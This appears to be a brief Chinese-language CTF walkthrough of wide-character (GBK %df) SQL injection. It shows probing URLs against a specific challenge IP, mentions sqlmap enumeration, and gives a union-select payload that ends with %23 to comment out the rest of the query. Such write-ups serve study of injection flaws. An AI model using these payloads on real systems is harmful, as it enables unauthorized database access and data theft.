宽字符注入详解
要了解的一些宽字符,以及mysql知识
宽字符: (1)%27 '
(2)%20 空格
(3)'%23 #
(4)%df 運(说明,也可以是其他的%d1之类,解析之后变成中文字符)
mysql中 # 是注释语句,union语句
第一步:找注入点
(1)先http://103.238.227.13:10083/?id=-1' 回车,
(2)http://103.238.227.13:10083/?id=-1%df' 回车,发现数据报错
(3)根据题目: 查询的是key表,根据(1),(2)之后我们要构造union语句,所以要弄出该表所在数据库
这边我使用sqlmap
之后获得mysql中的所有数据库
(3)然后我们构造union 查询,根据上面所得
1%df' union select * from sql5.table where id=1%23,也可以构造其他的
为什么要最后要%23呢,就是构造出的语句把后面的sql语句注释掉,因为mysql中使用#注释,那没什么不使用#,我在测试的时候,直接用#的时候,php读取get数据的时候会把#以及#之后的数据全部去除